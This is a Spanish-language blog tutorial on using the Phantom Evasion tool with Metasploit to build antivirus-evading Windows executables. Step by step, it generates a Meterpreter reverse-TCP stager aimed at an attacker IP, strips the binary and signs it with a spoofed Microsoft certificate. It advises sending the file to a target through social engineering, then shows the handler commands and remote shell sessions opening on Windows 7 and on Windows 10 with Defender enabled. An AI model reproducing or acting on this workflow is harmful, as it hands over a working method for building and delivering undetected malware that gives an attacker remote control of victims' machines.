Cómo evadir protección antivirus con PHANTOM PAYLOADS


Metasploit es la herramienta más popular utilizada en pruebas de penetración. Metasploit intenta encontrar debilidades en su red local antes de que los ciber delincuentes lo hagan. A continuación, presentaremos la herramienta más utilizada por los atacantes para probar la seguridad de su sistema operativo. 
En Kali Linux, Metasploit estaa instalada por defecto e incluye una gran cantidad de cargas útiles (payloads) que se utilizan para generar ejecutables maliciosos y hackear plataformas. Pero hoy le mostraremos una herramienta llamada Phantom Evasion que se utiliza para generar ejecutables a prueba de detección usando la carga útil msfvenom. Según el desarrollador, el objetivo principal de Phantom Evasion es evitar que las soluciones antivirus detecten las cargas útiles. 
  • Phantom Evasion se ha probado en Kali Linux 2018.4 (amd64)
  • Para clonar, escriba git clone https://github.com/oddcod3/Phantom-Evasion.git
  • Escriba cd Phantom-EvasionEscriba chmod u+x phantom-evasion.py
  • Escriba python3 phantom-evasion.py
  • Cuando se ejecuta por primera vez, puede aparecer algún error, pero la herramienta funcionará perfectamente
                     _                 _
                 _ __ | |__   __ _ _ __ | |_ ___  _ __ ___
                | '_ \| '_ \ / _` | '_ \| __/ _ \| '_ ` _ \
                | |_) | | | | (_| | | | | || (_) | | | | | |
                | .__/|_| |_|\__,_|_| |_|\__\___/|_| |_| |_|
                |_|   / _ \ \ / / _` / __| |/ _ \| '_ \
                     |  __/\ V / (_| \__ \ | (_) | | | |
                      \___| \_/ \__,_|___/_|\___/|_| |_|
                                                        v2.0.1
    =====================================================================
  ||        [MAIN MENU]:             ||                                  ||
  ||                                 ||                                  ||
  ||    [1]  Windows modules         ||   [5]  Universal modules         ||
  ||                                 ||                                  ||
  ||    [2]  Linux modules           ||   [6]  Post-Exploitation modules ||
  ||                                 ||                                  ||
  ||    [3]  OSX modules             ||   [7]  Update check              ||
  ||                                 ||                                  ||
  ||    [4]  Android modules         ||   [0]  Exit                      ||
  ||                                 ||                                  ||
    =====================================================================

[>] Please insert option:
  • Escriba 1
[>] Please insert option: 1
  • Escriba 2
 [+] WINDOWS MODULES INDEX:
 [1]  Shellcode Injection
 [2]  Stager
 [3]  Powershell / Wine-pyinstaller
 [0]  Back
 [>] Please insert option: 2
  • Escriba 1
[+] WINDOWS STAGER MODULES:
 [1]  X86 stagers
 [2]  X64 stagers
 [0]  Back
 [>] Please insert option: 1
  • Escriba 3
 [+] WINDOWS x86 STAGER MODULES:
 [1]  C meterpreter/reverse_TCP VirtualAlloc                           (C)
 [2]  C meterpreter/reverse_TCP VirtualAlloc NoDirectCall GPAGMH       (C)
 [3]  C meterpreter/reverse_TCP HeapAlloc                              (C)
 [4]  C meterpreter/reverse_TCP HeapAlloc NoDirectCall GPAGMH          (C)
 [5]  C meterpreter/reverse_HTTP VirtualAlloc                          (C)
 [6]  C meterpreter/reverse_HTTP VirtualAlloc NoDirectCall GPAGMH      (C)
 [7]  C meterpreter/reverse_HTTP HeapAlloc                             (C)
 [8]  C meterpreter/reverse_HTTP HeapAlloc NoDirectCall GPAGMH         (C)
 [9]  C meterpreter/reverse_HTTPS VirtualAlloc                         (C)
 [10] C meterpreter/reverse_HTTPS VirtualAlloc NoDirectCall GPAGMH     (C)
 [11] C meterpreter/reverse_HTTPS HeapAlloc                            (C)
 [12] C meterpreter/reverse_HTTPS HeapAlloc NoDirectCall GPAGMH        (C)
 [0]  Back
  • Después de seleccionar cualquier carga útil, se mostrará una descripción de la carga y en qué extensión se construirá
[+] MODULE DESCRIPTION:
 This Module generate and compile
   32bit pure c meterpreter reverse tcp stagers.
   Require msfconsole multi/handler listener
   with payload set to windows/meterpreter/reverse_tcp
 [>] Memory allocation type: HEAP
 [>] TYPE: TCP
   [>] STATIC EVASION:
   Polymorphic source code
   [>] DYNAMIC EVASION:
   Resource consumption technique
   Sandbox-aware code
   [>] AUTOCOMPILE(cross platform): to EXE file
 Press Enter to continue:
  • Escriba 192.168.1.6 (dirección IP del atacante)
[>] Please insert LHOST: 192.168.1.6
  • Escriba 433 (puerto del atacante)
[>] Please insert LPORT: 443
  • Luego ingrese el nombre del archivo: file
[>] Please insert output filename: file
  • Escriba para crear un solo proceso en la computadora de destino. Por lo tanto, cada vez habrá menos posibilidades de ser atrapado por el antivirus
[>] Spawn Multiple Processes:
 During target-side execution this will cause to spawn a maximum of 4 processes
 consequentialy.
 Only the last spawned process will reach the malicious section of code
 while the other decoy processes spawned before will executes only random junk code
 [>] Add multiple processes behaviour?(y/n): n
  • Escriba y
[>] Generating C meterpreter stager
 [>] Compiling…
 [>] Strip
 strip is a GNU utility to "strip" symbols from object files.
 This is useful for minimizing their file size, streamlining them for distribution.
 It can also be useful for making it more difficult to reverse-engineer the compiled code.
 (Lower rate of detection)
 [>] Strip executable? (y/n): y
  • La consulta anterior reducirá el tamaño del archivo malicioso
  • Escriba y
[>] Sign Executable
 Online Certificate spoofer & Executabe signer (Lower rate of detection)
 [>] Sign executable? (y/n): y
  • La consulta anterior firmará el archivo malicioso con el certificado predeterminado que viene con Phantom Evasion
  • Puede usar su propio certificado o usarlo con el certificado de Microsoft que viene con la Phantom Evasion
  • Escriba y
  • Escriba 1
Certificates directory is not empty , use already existing certificate? (y/n): y
 [1] www.microsoft.com
 [2] Create new certificate
 [>] Select a Certificate or create a new one: 1
  • Escriba 1
[>] Select a Certificate or create a new one: 1

[>] Insert sign software description (default: Notepad Benchmark Util):
 [>] Signing file1.exe with osslsigncode…
 [>] Succeeded
 [<>] File saved in Phantom-Evasion folder
  • Después de crear un código malicioso, envíe el archivo al objetivo. Puede usar cualquier variante de ingeniería social para llegar a su objetivo
Probar en plataformas Windows
  • Para las pruebas, estamos usando Windows 7 (32 bits) con Windows Defender desactivado
  • Abra el archivo ejecutable presionando enter
  • Para comprobar la carga útil puede usar el controlador múltiple de metasploit que viene preinstalado en Kali Linux. Abra otro terminal y escriba msfconsole
  • Escriba use multi/handler
msf > use multi/handler
  • Escriba LHOST 192.168.1.6 (igual que se ingresó en Phantom Evasion)
  • Escriba LPORT 443 (igual que se ingresó en Phantom Evasion)
  • Escriba show options
msf exploit(multi/handler) > set LHOST 192.168.1.6
 LHOST => 192.168.1.6
 msf exploit(multi/handler) > set LPORT 443
 LPORT => 443
 msf exploit(multi/handler) > show options
 Module options (exploit/multi/handler):
 Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------
 Payload options (windows/meterpreter/reverse_tcp):
 Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST     192.168.1.6      yes       The listen address (an interface may be specified)
    LPORT     443              yes       The listen port
 Exploit target:
 Id  Name
    --  ----
    0   Wildcard Target
  • Escriba run
msf exploit(multi/handler) > run
  • Como malicioso ya se ha iniciado en Windows 7 Professional 32 Bit. Después de escribir, se creará una nueva sesión entre los atacantes y las máquinas de destino
  • Escriba sysinfo para verificar los detalles del equipo de destino
[] Started reverse TCP handler on 192.168.1.6:443 [] Sending stage (179779 bytes) to 192.168.1.9
 [*] Meterpreter session 1 opened (192.168.1.6:443 -> 192.168.1.9:49250) at 2019-03-04 00:34:27 -0500
 meterpreter > sysinfo
 Computer        : WIN-31VSBP3FUQT
 OS              : Windows 7 (Build 7601, Service Pack 1).
 Architecture    : x86
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 1
 Meterpreter     : x86/windows
 meterpreter >
  • Ahora puede manipular al objetivo utilizando el shell de comandos de meterpreter
  • Ahora, para realizar más pruebas, hemos utilizado Windows 10 Enterprise 1809 (x64) con Windows Defender habilitado
  • Abra el ejecutable malicioso en la máquina de Windows 10. A medida que abra el archivo ejecutable, se creará una nueva sesión en multi/handler
  • Escriba sysinfo para verificar los detalles del equipo de destino
[] Started reverse TCP handler on 192.168.1.6:443 [] Sending stage (179779 bytes) to 192.168.1.105
 [*] Meterpreter session 2 opened (192.168.1.6:443 -> 192.168.1.105:49753) at 2019-03-04 02:26:30 -0500
 meterpreter > sysinfo
 Computer        : DESKTOP-I9LEAU8
 OS              : Windows 10 (Build 17758).
 Architecture    : x64
 System Language : en_US
 Domain          : WORKGROUP
 Logged On Users : 2
 Meterpreter     : x86/windows
  • Ahora puede manipular el objetivo usando el shell de comandos de meterpreter
Según investigadores en seguridad en redes del Instituto Internacional de Seguridad Cibernética, esta herramienta se puede utilizar para generar una carga útil de nivel inicial que se puede personalizar aún más para evitar otros antivirus.



No olvides Compartir...

Siguenos en twitter: @disoftin

Publicar un comentario

0 Comentarios